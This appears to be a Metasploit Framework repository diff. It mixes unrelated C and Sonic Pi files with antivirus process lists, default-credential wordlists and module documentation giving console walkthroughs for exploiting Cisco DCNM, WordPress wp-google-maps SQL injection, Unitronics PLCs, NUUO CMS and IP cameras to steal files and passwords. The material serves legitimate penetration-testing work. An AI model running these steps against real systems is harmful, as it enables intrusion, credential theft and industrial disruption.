Vector *__newVectorSize(size_t elemSize, size_t cap);
// Put a pointer in the vector. To be used internall by the library
int __vector_PutPtr(Vector *v, size_t pos, void *elem);
/*
* Create a new vector for a given type and a given capacity.
* e.g. NewVector(int, 0) - empty vector of ints
*/
#define NewVector(type, cap) __newVectorSize(sizeof(type), cap)
/*
* get the element at index pos. The value is copied in to ptr. If pos is outside
* the vector capacity, we return 0
* otherwise 1
*/
int Vector_Get(Vector *v, size_t pos, void *ptr);
/* Get the element at the end of the vector, decreasing the size by one */
int Vector_Pop(Vector *v, void *ptr);
//#define Vector_Getx(v, pos, ptr) pos < v->cap ? 1 : 0; *ptr =
//*(typeof(ptr))(v->data + v->elemSize*pos)
/*
* Put an element at pos.
* Note: If pos is outside the vector capacity, we resize it accordingly
*/
#define Vector_Put(v, pos, elem) __vector_PutPtr(v, pos, elem ? &(typeof(elem)){elem} : NULL)
/* Push an element at the end of v, resizing it if needed. This macro wraps
* __vector_PushPtr */
#define Vector_Push(v, elem) __vector_PushPtr(v, elem ? &(typeof(elem)){elem} : NULL)
int __vector_PushPtr(Vector *v, void *elem);
/* resize capacity of v */
int Vector_Resize(Vector *v, size_t newcap);
/* return the used size of the vector, regardless of capacity */
int Vector_Size(Vector *v);
/* return the actual capacity */
int Vector_Cap(Vector *v);
/* free the vector and the underlying data. Does not release its elements if
* they are pointers*/
void Vector_Free(Vector *v);
int __vecotr_PutPtr(Vector *v, size_t pos, void *elem);
#endif
+58
View File
@@ -0,0 +1,58 @@
use_bpm 130
use_synth_defaults sustain: 0
live_loop :drums do
sample :drum_heavy_kick, amp: 2
sleep 1
sample :drum_snare_hard
sleep 1
end
live_loop :hi_hat do
sample :drum_cymbal_closed, amp: 0.5
sleep 0.5
end
live_loop :bass do
use_synth :pluck
notes = %i[
Eb3 Eb3 Eb3
B2 B2 B2
Fs2 Fs2 Fs2
As2 As2 As2 As2
]
beats = %w[
2.0 1.0 1.0
2.0 1.0 1.0
2.0 1.0 1.0
1.5 1.0 0.5 1.0
].map(&:to_f)
with_fx :reverb do
play_pattern_timed notes, beats
end
end
live_loop :lead do
use_synth :piano
notes = %i[
As4 As4 As4 As4 Gs4 As4 As4
As4 As4 As4 Gs4 As4 As4
Db5 As4 Gs4 Fs4
Eb4 Eb4 F4 Fs4 Eb4
]
beats = %w[
2.00 0.50 0.25 0.25 0.25 0.75 2.00
0.50 0.25 0.25 0.25 0.75 1.50
1.00 1.00 1.00 1.00
0.50 0.50 0.50 0.50 0.50
].map(&:to_f)
with_fx :reverb do
play_pattern_timed notes, beats
end
end
+9
View File
@@ -1,3 +1,12 @@
AlMon.exe
SAVAdminService.exe
SavService.exe
SNTPService.exe
swc_service.exe
swi_fc.exe
swi_filter.exe
swi_service.exe
swi_fc.exe
emet_agent.exe
emet_service.exe
firesvc.exe
+4
View File
@@ -0,0 +1,4 @@
244+0000009999
188+030000
19b+00000F
19b+000010
+1
View File
@@ -4,3 +4,4 @@ root
Administrator
USERID
guest
Admin
+1
View File
@@ -405,6 +405,7 @@ root realtek
root root
root tini
root tslinux
root ubnt
root user
root vizxv
root wyse
+1 -1
View File
@@ -44,7 +44,7 @@ apc
bintec
blue
c
cable-d
cable-docsis
canon_admin
cc
cisco
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+28905 -16455
View File
File diff suppressed because it is too large Load Diff
+53
View File
@@ -0,0 +1,53 @@
msfconsole
==========
`msfconsole` is the primary interface to Metasploit Framework. There is quite a
lot that needs go here, please be patient and keep an eye on this space!
Building ranges and lists
-------------------------
Many commands and options that take a list of things can use ranges to avoid
having to manually list each desired thing. All ranges are inclusive.
### Ranges of IDs
Commands that take a list of IDs can use ranges to help. Individual IDs must be
separated by a `,` (no space allowed) and ranges can be expressed with either
`-` or `..`.
### Ranges of IPs
There are several ways to specify ranges of IP addresses that can be mixed
together. The first way is a list of IPs separated by just a ` ` (ASCII space),
with an optional `,`. The next way is two complete IP addresses in the form of
`BEGINNING_ADDRESS-END_ADDRESS` like `127.0.1.44-127.0.2.33`. CIDR
specifications may also be used, however the whole address must be given to
Metasploit like `127.0.0.0/8` and not `127/8`, contrary to the RFC.
Additionally, a netmask can be used in conjunction with a domain name to
dynamically resolve which block to target. All these methods work for both IPv4
and IPv6 addresses. IPv4 addresses can also be specified with special octet
ranges from the [NMAP target
specification](https://nmap.org/book/man-target-specification.html)
### Examples
Terminate the first sessions:
sessions -k 1
Stop some extra running jobs:
jobs -k 2-6,7,8,11..15
Check a set of IP addresses:
check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255
Target a set of IPv6 hosts:
set RHOSTS fe80::3990:0000/110, ::1-::f0f0
Target a block from a resolved domain name:
set RHOSTS www.example.test/24
+124
View File
@@ -0,0 +1,124 @@
Jobs
====
The `jobs` command is used to interact with modules running in the
background. Using jobs allows you to run multiple modules at once, like
multiple `exploit/multi/hander` runs with different options to listen
for different payloads to call back. Framework automatically starts
modules that wait for something to happen ("passive modules") as jobs,
and `run -j` will start any module as a job. When a module is started
as a job, you will see a message like `[*] Exploit running as
background job X.`. You will then be able to continue interacting with
Metasploit as normal, and output from the module will continue to be
printed to the console, like a background job in other shells.
Usage
-----
### Flags
#### -h
Display the help banner.
#### -i JOB_ID
Show details of the specified `JOB_ID`, including the name and the time
the job was started.
#### -K
Stop all currently running jobs.
#### -k JOB_IDS
Stop the specified list of jobs. See [msfconsole > Building ranges and
lists](../msfconsole.md#building-ranges-and-lists) for more details on
how to build ranges.
#### -l
List all the currently running jobs. This is the default action. Module
name, payload, and some payload configuration is shown when present.
#### -P
Save each of the currently running jobs to be restarted when
`msfconsole` is started. Only valid for jobs running payload handlers.
See [Persistence](#persistence) below.
#### -p JOB_IDS
Save the specified list of jobs to restarted when `msfconsole` is
started. Only valid for jobs running payload handlers. See
[Persistence](#persistence) below and [msfconsole > Building ranges and
lists](../msfconsole.md#building-ranges-and-listss) for how to specify
a list of `JOB_IDS`.
#### -S FILTER
Apply a search filter for the output. Currently ignored.
#### -v
Show verbose information with `-i` and `-l`. When combined with `-i`,
display the advanced options given to the module run. When combined
with `-l` or no other flags, displays an expanded table of jobs, adding
the URI for HTTP payload handlers, start time, handler options (if
present), and whether the job has been persisted with `-p` or `-P`.
Persistence
-----------
The `-P` and `-p JOB_IDS` flags save payload handler jobs to be started
every time `msfconsole` is started. This works by saving the
information needed to start an equivalent `exploit/multi/handler` run
as a JSON blob in the job persistence file, `~/.msf4/persist` by
default.
Examples
--------
Starting a module as a job:
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
A verbose listing of all the jobs:
msf5 exploit(multi/handler) > jobs -v
Jobs
====
Id Name Payload Payload opts URIPATH Start Time Handler opts Persist
-- ---- ------- ------------ ------- ---------- ------------ -------
1 Exploit: multi/handler windows/meterpreter/reverse_tcp tcp://127.0.0.1:4444 2019-02-20 19:02:58 -0600 true
Set some jobs to be started on `msfconsole` start:
msf5 exploit(multi/handler) > jobs -p 1-2
Added persistence to job 1.
Added persistence to job 2.
Getting information about a specific job:
msf5 exploit(multi/handler) > jobs -i 1
Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
msf5 exploit(multi/handler) > jobs -i 1 -v
Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
Module advanced options:
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ExitOnSession true yes Return from the exploit after a session has been created
ListenerTimeout 0 no The maximum number of seconds to wait for new sessions
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 0 no Additional delay when waiting for a session
+37
View File
@@ -0,0 +1,37 @@
Repeat
======
The `repeat` command repeats one or more console commands for a fixed number of
times, a certain length of time, or forever. The repeat command is most useful
for repeating module runs like memory dumpers or scanners that have a random
element to them.
Usage
-----
### Flags
#### -t, --time SECONDS
Start the list of commands until the number of seconds has elapsed.
#### -n, --number TIMES
Start the list of commands a fixed number of times.
#### -h, --help
Display the help banner.
Examples
--------
Run the heartbleed module every 10 seconds against a server for an hour:
msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP
# Set other options...
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10
@@ -2,9 +2,11 @@ This module plays (by default) ["Epic sax guy 10 hours"](https://www.youtube.com
Naturally, audio should be cranked to 11 before running this module.
Only the deprecated DIAL protocol is supported by this module. Casting via the newer CASTV2 protocol is unsupported at this time.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/chromecast_webserver ```
1. Do: ```use auxiliary/admin/chromecast/chromecast_youtube```
2. Do: ```set RHOST [IP]```
3. Do: ```run```
@@ -0,0 +1,42 @@
## Intro
Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
the full path of the file (aka CVE-2019-1621).
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication.
## Author and discoverer
Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
## References
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb
https://seclists.org/fulldisclosure/2019/Jul/7
## Usage
Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy!
```
msf5 exploit(multi/http/cisco_dcnm_upload_2019) > use auxiliary/admin/cisco/cisco_dcnm_download
msf5 auxiliary(admin/cisco/cisco_dcnm_download) > set rhost 10.75.1.40
rhost => 10.75.1.40
msf5 auxiliary(admin/cisco/cisco_dcnm_download) > run
[+] 10.75.1.40:443 - Detected DCNM 10.4(2)
[*] 10.75.1.40:443 - No authentication required, ready to exploit!
[+] 10.75.1.40:443 - Got sysTime value 1567081446000
[+] 10.75.1.40:443 - Successfully authenticated our JSESSIONID cookie
[+] File saved in: /home/john/.msf4/loot/20190829122407_default_10.75.1.40_ciscoDCNM.http_855907.bin
[*] Auxiliary module execution completed
```
@@ -0,0 +1,35 @@
## Summary
This module exploits an unauthenticated remote file inclusion which exists in Supra Smart Cloud TV.
The media control for the device doesn't have any session management or authentication. Leveraging this, an
attacker on the local network can send a crafted request to broadcast a fake video.
**Reference:** https://www.inputzero.io/2019/06/hacking-smart-tv.html
## Verification Steps
1. `use auxiliary/admin/http/supra_smart_cloud_tv_rfi `
2. `set RHOSTS [IP]`
3. `set SRVHOST [IP]`
4. `run`
Doo-doodoodoodoodoo-doo, Epic Sax Guy will be broadcasted to the remote system.
## Sample Output
```
msf5 > use auxiliary/admin/http/supra_smart_cloud_tv_rfi
msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set SRVHOST 192.168.1.132
SRVHOST => 192.168.1.132
msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > run
[*] Running module against 192.168.1.155
[*] Using URL: http://192.168.1.132:8080/
[*] Broadcasting Epic Sax Guy to 192.168.1.155:80
[+] Doo-doodoodoodoodoo-doo
[*] Sleeping for 10s serving .m3u8 and .ts files...
[*] Server stopped.
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) >
```
@@ -0,0 +1,33 @@
## Vulnerable Application
This module works against the Wordpress plugin `wp-google-maps` between 7.11.00 and 7.11.17 (included).
[The vulnerable version is available on WordPress' plugin directory](https://downloads.wordpress.org/plugin/wp-google-maps.7.11.17.zip).
## Verification Steps
1. `msfconsole`
2. `use auxiliary/admin/http/wp_google_maps_sqli`
3. `set RHOSTS <rhost>`
4. Set `DB_PREFIX` if necessary
5. `run`
## Options
### `DB_PREFIX`
Change the table prefix. By default, this option is set to `wp_`.
## Scenarios
### wp-google-maps 7.11.17 on WordPress 4.9.5
```
msf5 auxiliary(admin/http/wp_google_maps_sqli) > exploit
[*] Running module against 172.22.222.144
[*] 172.22.222.144:80 - Trying to retrieve the wp_users table...
[+] Credentials saved in: /home/msfdev/.msf4/loot/20190415065921_default_172.22.222.144_wp_google_maps.j_022930.bin
[+] 172.22.222.144:80 - Found msfdev <hash> <email>
[*] Auxiliary module execution completed
```
@@ -1,10 +1,10 @@
## Description
This (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of credentials and search for rows and columns with interesting names. This information can help you fine-tune further attacks against the database.
This (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of credentials and search for rows and columns with "interesting" names. This information can help you fine-tune further attacks against the database.
## Verification Steps
1. Do: ```use auxiliary/scanner/mssql/mssql_idf```
1. Do: ```use auxiliary/admin/mssql/mssql_idf```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set THREADS [number of threads]```
4. Do: ```run```
@@ -4,7 +4,7 @@ This module allows you to perform SQL queries against a database using known-goo
## Verification Steps
1. Do: ```use auxiliary/scanner/mssql/mssql_sql```
1. Do: ```use auxiliary/admin/mssql/mssql_sql```
2. Do: ```set PASSWORD [password1]```
3. Do: ```set RHOSTS [IP]```
4. Do: ```set [SQL Command]```
@@ -0,0 +1,34 @@
## Vulnerable Application
Unitronics Vision PLCs
## Verification Steps
1. Do: `use auxiliary/admin/scada/pcom_command`
2. Do: `set RHOST=IP` where IP is the IP address of the target
3. Do: `run` to send PCOM command
## Scenarios
```
msf5 > use auxiliary/admin/scada/pcom_command
msf5 auxiliary(admin/scada/pcom_command) > show options
Module options (auxiliary/admin/scada/pcom_command):
Name Current Setting Required Description
---- --------------- -------- -----------
MODE RESET yes PLC command (Accepted: START, STOP, RESET)
RHOST yes The target address
RPORT 20256 yes The target port (TCP)
UNITID 0 no Unit ID (0 - 127)
msf5 auxiliary(admin/scada/pcom_command) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf5 auxiliary(admin/scada/pcom_command) > run
[*] 192.168.1.1:20256 - Sending RESET command
[*] 192.168.1.1:20256 - Command accepted
[*] Auxiliary module execution completed
msf5 auxiliary(admin/scada/pcom_command) >
```
@@ -0,0 +1,59 @@
## Intro
This module acts as a simple remote control for Belkin Wemo-enabled
Crock-Pots by implementing a subset of the functionality provided by the
Wemo App.
No vulnerabilities are exploited by this Metasploit module in any way.
## Setup
You may buy the device on Amazon at <https://www.amazon.com/dp/B00IPEO02C/>.
## Actions
```
Name Description
---- -----------
Cook Cook stuff
Stop Stop cooking
```
## Options
**TEMP**
Set this to the desired temperature for cooking. Valid values are `Off`,
`Warm`, `Low`, and `High`.
**TIME**
Set this to the desired cook time in full minutes.
**DefangedMode**
Set this to `false` to disable defanged mode and enable module
functionality. Set this only if you're SURE you want to proceed.
## Usage
```
msf5 > use auxiliary/admin/wemo/crockpot
msf5 auxiliary(admin/wemo/crockpot) > set rhosts 10.22.22.1
rhosts => 10.22.22.1
msf5 auxiliary(admin/wemo/crockpot) > set temp High
temp => High
msf5 auxiliary(admin/wemo/crockpot) > set time 1
time => 1
msf5 auxiliary(admin/wemo/crockpot) > set defangedmode false
defangedmode => false
msf5 auxiliary(admin/wemo/crockpot) > set verbose true
verbose => true
msf5 auxiliary(admin/wemo/crockpot) > run
[+] Wemo-enabled Crock-Pot detected
[*] Cooking on High for 1m
[+] Cook time set to 1m
[*] Auxiliary module execution completed
msf5 auxiliary(admin/wemo/crockpot) >
```
@@ -0,0 +1,34 @@
## Vulnerable Application
This module is able to extract a zip file sent through Modbus from a pcap.
Tested with Schneider TM221CE16R
## Verification Steps
1. Do: `use auxiliary/analyze/modbus_zip`
2. Do: `set PCAPFILE <PATH_TO_PCAP>` where PATH_TO_PCAP is the PATH to the pcap file
3. Do: `exploit` extract the zip file
## Options
**MODE**
Default: UPLOAD. Changes offset within a packet that is used to check for a zip header.
## Scenarios
```
msf > use auxiliary/analyze/modbus_zip
msf auxiliary(analyze/modbus_zip) > set PCAPFILE file.pcap
PCAPFILE => file.pcap
auxiliary(analyze/modbus_zip) > set MODE DOWNLOAD
MODE => DOWNLOAD
msf auxiliary(analyze/modbus_zip) > exploit
[*] Running module against 0.0.0.0
[*] Zip start on packet 1370
[*] Zip end on packet 1452
[*] Done!
[*] Auxiliary module execution completed
```
@@ -15,7 +15,7 @@ More context is available from [Rapid7's blog post](https://blog.rapid7.com/2019
4. `run`
5. Review the downloaded configuration file cited in the output. For example:
>```
>[+] Stored configuration (128658 bytes) to /home/administrator/.msf4/loot/20190206213439_default_172.16.0.34_cisco.rv.config_791561.txt
>[+] Stored configuration (128658 bytes) to /home/administrator/.msf4/loot/20190206213439_default_192.168.1.1_cisco.rv.config_791561.txt
>```
6. If the database is connected, review the `hosts`, `creds`, and `loot` commands
@@ -27,7 +27,7 @@ More context is available from [Rapid7's blog post](https://blog.rapid7.com/2019
## Scenarios
#### Against firmware version 1.4.2.15, which on the LAN side, port 443:
#### Against firmware version 1.4.2.15, on the LAN interface, port 443:
```
msf5 >
@@ -41,25 +41,25 @@ msf5 auxiliary(gather/cisco_rv320_config) > run
[*] Auxiliary module execution completed
```
#### Against firmware version 1.4.2.15, on the WAN side, port 8007:
#### Against firmware version 1.4.2.15, on the WAN interface, port 8007:
```
msf5 >
msf5 > use auxiliary/gather/cisco_rv320_config
msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 172.16.0.34
RHOSTS => 192.168.1.1
msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 203.0.113.54
RHOSTS => 203.0.113.54
msf5 auxiliary(gather/cisco_rv320_config) > set RPORT 8007
RPORT => 8007
msf5 auxiliary(gather/cisco_rv320_config) > set SSL false
SSL => false
msf5 auxiliary(gather/cisco_rv320_config) > run
[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt
[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_203.0.113.54_cisco.rv.config_434637.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
#### Against firmware version 1.4.2.17, which on the LAN side, port 443:
#### Against firmware version 1.4.2.17, on the LAN interface, port 443:
```
msf5 >
@@ -73,7 +73,7 @@ msf5 auxiliary(gather/cisco_rv320_config) > run
[*] Auxiliary module execution completed
```
#### Against newer firmware (>= 1.4.2.19):
#### Against newer firmware (>= 1.4.2.19), on the LAN interface, port 443:
```
msf5 >
@@ -96,7 +96,7 @@ Hosts
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.0.34 70:E4:22:94:E7:20 router94e720 Cisco RV320
203.0.113.54 70:E4:22:94:E7:20 router94e720 Cisco RV320
192.168.1.1 70:E4:22:94:E7:20 router94e720 Cisco RV320
```
@@ -107,7 +107,7 @@ Credentials
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
172.16.0.34 192.168.1.1 8007/tcp (http) cisco $1$mldcsfp$gCrnS7A0ta6E5EzwDiZ9t/ Nonreplayable hash
203.0.113.54 192.168.1.1 8007/tcp (http) cisco $1$mldcsfp$gCrnS7A0ta6E5EzwDiZ9t/ Nonreplayable hash
192.168.1.1 192.168.1.1 443/tcp (https) cisco $1$mldcsfp$gCrnS7A0ta6E5EzwDiZ9t/ Nonreplayable hash
```
@@ -119,6 +119,6 @@ Loot
host service type name content info path
---- ------- ---- ---- ------- ---- ----
172.16.0.34 cisco.rv.config text/plain /home/administrator/.msf4/loot/20190206213439_default_172.16.0.34_cisco.rv.config_791561.txt
203.0.113.54 cisco.rv.config text/plain /home/administrator/.msf4/loot/20190206213439_default_203.0.113.54_cisco.rv.config_791561.txt
192.168.1.1 cisco.rv.config text/plain /home/administrator/.msf4/loot/20190206211312_default_192.168.1.1_cisco.rv.config_412095.txt
```
@@ -0,0 +1,66 @@
## Description
This module performs unauthenticated requests to retrieve masthead, sites, and packages information from IBM BigFix Relay Servers. If the **DOWNLOAD** option is set then the module will attempt to download the identified packages. This module has been tested against Relay Server 9.5.10.79.
## Vulnerable Application
BigFix Platform 9.2 - 9.2.16 and 9.5 - 9.5.11
## Options
**SHOW_MASTHEAD**
Default: true. Read Organization name from `/masthead/masthead.axfm`
**SHOW_PACKAGES**
Default true. Read Action values and packages names from `/cgi-bin/bfenterprise/BESMirrorRequest.exe`
**SHOW_SITES**
Default true. Read Site URLs from `/cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands`
**DOWNLOAD**
Default true. Attempt to download identified packages.
**ShowURL**
Default false. Show full URL for the packages instead of the filename.
## Verification Steps
1. `./msfconsole -q`
2. `use auxiliary/gather/ibm_bigfix_sites_packages_enum`
3. `set rhosts <rhost>`
4. `exploit`
## Scenarios
### Relay Version 9.5.10.79
```
msf5 > use auxiliary/gather/ibm_bigfix_sites_packages_enum
msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > set rhosts <rhost>
rhosts => <rhost>
msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > exploit
[*] Running module against [IP]
[+] [Organization]
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/actionsite
[+] http://[hostname]:52311/cgi-bin/bfenterprise/PostResults.exe
<snip>
[*] Sites
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]
<snip>
[*] Packages
[*] Action: [action number]
[+] File: [package name]
[*] Action: [action number]
[+] File: [package name]
<snip>
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) >
```
@@ -0,0 +1,62 @@
## Description
SIEMENS IP-Camera (CVMS2025-IR + CCMS2025), JVC IP-Camera (VN-T216VPRU),
and Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR)
allow an unauthenticated user to disclose the username & password by
requesting the javascript page 'readfile.cgi?query=ADMINID'.
Siemens firmwares affected: x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235
## Vulnerable Application
This module has been verified against the mock vulnerable page listed below.
### Mock Vulnerable Page
These instructions will create a cgi environment and a vulnerable perl application for exploitation.
Kali rolling (2019.1) was utilized for this tutorial, with apache.
#### Setup
1. Enable cgi: `a2enmod cgid`
2. `mkdir /var/www/html/cgi-bin`
3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/html/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags
4. Create the vulnerable page by writing the following text to `/var/www/html/cgi-bin/readfile.cgi`:
```
#!/usr/bin/perl
use CGI qw(:standard);
$query = new CGI;
print $query->header( -type=> "text/javascript"),
$query->import_names( 'Q' );
my $data = <<'DATA';
var Adm_ID="admin";
var Adm_Pass1="password";
var Language="en";
var Logoff_Time="0";
DATA
if ($Q::query == "ADMINID") {
print $data;
}
```
## Verification Steps
1. Start msfconsole
2. ```use auxiliary/gather/ipcamera_password_disclosure```
3. ```set rhosts [rhosts]```
4. ```run```
## Scenarios
### Against the Mock page listed above
```
msf5 > use auxiliary/gather/ipcamera_password_disclosure
msf5 auxiliary(gather/ipcamera_password_disclosure) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(gather/ipcamera_password_disclosure) > run
[+] Found: admin:password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,81 @@
## Description
Nuuo CMS Session Bruteforce
The NUUO CMS protocol uses session tokens in a similar way to HTTP cookies. As mentioned in the summary, if a USERLOGIN request is sent with a correct username and password, a "User-Session-No" token will be returned. The number returned is composed of 8 digits, so if an attacker wanted to guess it, they would have 10 million possibilities, and would be able to bruteforce it on average after 5 million tries.
The function responsible for creating a new user is at offset 0x454E80 in CMS_Server.exe version 2.1. It sets up a new user object and returns the session token to the calling function. This function has what is probably a coding error - the number returned is actually not a number, but the heap address of the user object created by invoking "new()" in the user object class. An assembly snippet is shown below:
```
.text:00454E80 000 push 0FFFFFFFFh
.text:00454E82 004 push offset loc_5E2013
.text:00454E87 008 mov eax, large fs:0
.text:00454E8D 008 push eax
.text:00454E8E 00C sub esp, 8
.text:00454E91 014 push ebp
.text:00454E92 018 push esi
.text:00454E93 01C push edi
.text:00454E94 020 mov eax, dword_68D134
.text:00454E99 020 xor eax, esp
.text:00454E9B 020 push eax
.text:00454E9C 024 lea eax, [esp+24h+var_C]
.text:00454EA0 024 mov large fs:0, eax
.text:00454EA6 024 mov ebp, ecx
.text:00454EA8 024 lea edi, [ebp+43Ch]
.text:00454EAE 024 push edi ; lpCriticalSection_EnterCriticalSection
.text:00454EAF 028 mov [esp+28h+var_10], edi
.text:00454EB3 028 call ds:EnterCriticalSection
.text:00454EB9 024 push 1B8h ; unsigned int
.text:00454EBE 028 mov [esp+28h+var_4], 0
.text:00454EC6 028 call ??2@YAPAXI@Z ; new() operator, returns object in eax
(...)
```
After the call to ??2@YAPAXI@Z in .text:00454EC6, the session number is returned to the calling function (sub_457100), which then stores it and sends it back to the client as the valid session number:
```
NUCM/1.0 200 OK
User-Valid: %d
Server-Version: %s
Ini-Version: %d
License-Number: %d
User-Session-No: %u <---- session number, which is a hexadecimal memory address converted to decimal
```
These session numbers (tokens) are not that easy to predict, however after collecting thousands of samples I was able to build a table of the most common occurrences, which reduces the possibilities from 10 million to about 1.2 million. In practice, the tokens can usually be guessed between in less than 500,000 attempts - an improvement of 95% over standard bruteforcing. It is likely this can be further improved with some deeper analysis, but due to time constraints this was not investigated further. The tables used to do the bruteforcing are in Appendix #C.
This attack is perfectly feasible despite the high number of attempts needed. Firstly, there is no bruteforce protection on the CMS server, so we can just flood it with requests and find the session number in less than an hour.
Secondly, due to the nature of this application, it is normal to have the software clients logged in for a long amount of time (days, weeks) in order to monitor the video cameras controlled by CMS.
It is worth noticing that when a user logs in, the session has to be maintained by periodically sending a PING request. To bruteforce the session, we send each guess with a PING request until a 200 OK message is received.
## Vulnerable Application
[NUUO Central Management Server (CMS): all versions below 2.4.0](d1.nuuo.com/NUUO/CMS/)
- 1.5.2 OK
- 2.1.0 OK
- 2.3.0 OK
## Scenarios
### Tested on Windows 10 Pro x64 running NCS Server v2.1.0
```
msf5 auxiliary(gather/nuuo_cms_bruteforce) > set rhosts 172.22.222.200
rhosts => 172.22.222.200
msf5 auxiliary(gather/nuuo_cms_bruteforce) > exploit
[*] 172.22.222.200:5180 - Bruteforcing session - this might take a while, go get some coffee!
[*] 172.22.222.200:5180 - Generating 2621440 session tokens
[+] 172.22.222.200:5180 - Found valid user session: 42094216
[*] 172.22.222.200:5180 - Time taken: 1384.588721601991 seconds; total tries 590893
[*] Auxiliary module execution completed
msf5 auxiliary(gather/nuuo_cms_bruteforce) >
```
## References
https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
@@ -0,0 +1,71 @@
## Description
Nuuo CMS Authenticated Arbitrary File Download
The GETCONFIG verb is used by a CMS client to obtain configuration files and other resources from the CMS server. An example request is below:
```
GETCONFIG NUCM/1.0
FileName: <filename>
FileType: <number>
User-Session-No: <session-number>
```
The FileType determines the directory where the file will be downloaded from. "FileType: 0" will download from the base installation directory (CMS_DIR), while "FileType: 1" will download from "<CMS_DIR>\Images\Map\". There are other defined FileType integers, but these have not been investigated in detail.
The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\\..\\) characters. Therefore, this function can be abused to obtain any files off the file system, including:
- CMServer.cfg, a file zipped with the password "NUCMS2007!" that contains the usernames and passwords of all the system users (enabling a less privileged user to obtain the administrator's password)
- ServerConfig.cfg, another file zipped with the password "NUCMS2007!" that contains the SQL Server "sa" password as well the FTP server username and password
- Any other sensitive files in the drive where CMS Server is installed.
This module works in the following way:
- if a SESSION number is present, uses that to login
- if not, tries to authenticate with USERNAME and PASSWORD
Due to the lack of ZIP encryption support in Metasploit, the module prints a warning indicating that the archive cannot be unzipped in Msf.
## Vulnerable Application
[NUUO Central Management Server (CMS): all versions up to and including 3.5.0](http://d1.nuuo.com/NUUO/CMS/)
The following versions were tested:
- 1.5.2 OK
- 2.1.0 OK
- 2.3.2 OK
- 2.4.0 OK
- 2.6.0 OK
- 2.9.0 OK
- 2.10.0 OK
- 3.1 OK
- 3.3 OK
- 3.5 OK
## Scenarios
### Tested on Windows 10 Pro x64 running NCS Server 2.4.0
```
msf5 auxiliary(gather/nuuo_cms_file_download) > set rhosts 172.22.222.200
rhosts => 172.22.222.200
msf5 auxiliary(gather/nuuo_cms_file_download) > exploit
[+] 172.22.222.200:5180 - Downloaded file to /home/msfdev/.msf4/loot/20190219064923_default_172.22.222.200_CMServer.cfg_227185.cfg
[+] 172.22.222.200:5180 - Downloaded file to /home/msfdev/.msf4/loot/20190219064923_default_172.22.222.200_ServerConfig.cfg_050084.cfg
[*] 172.22.222.200:5180 - The user and server configuration files were stored in the loot database.
[*] 172.22.222.200:5180 - The files are ZIP encrypted, and due to the lack of the archive/zip gem,
[*] 172.22.222.200:5180 - they cannot be decrypted in Metasploit.
[*] 172.22.222.200:5180 - You will need to open them up with zip or a similar utility, and use the
[*] 172.22.222.200:5180 - password NUCMS2007! to unzip them.
[*] 172.22.222.200:5180 - Annoy the Metasploit developers until this gets fixed!
[*] Auxiliary module execution completed
msf5 auxiliary(gather/nuuo_cms_file_download) >
```
## References
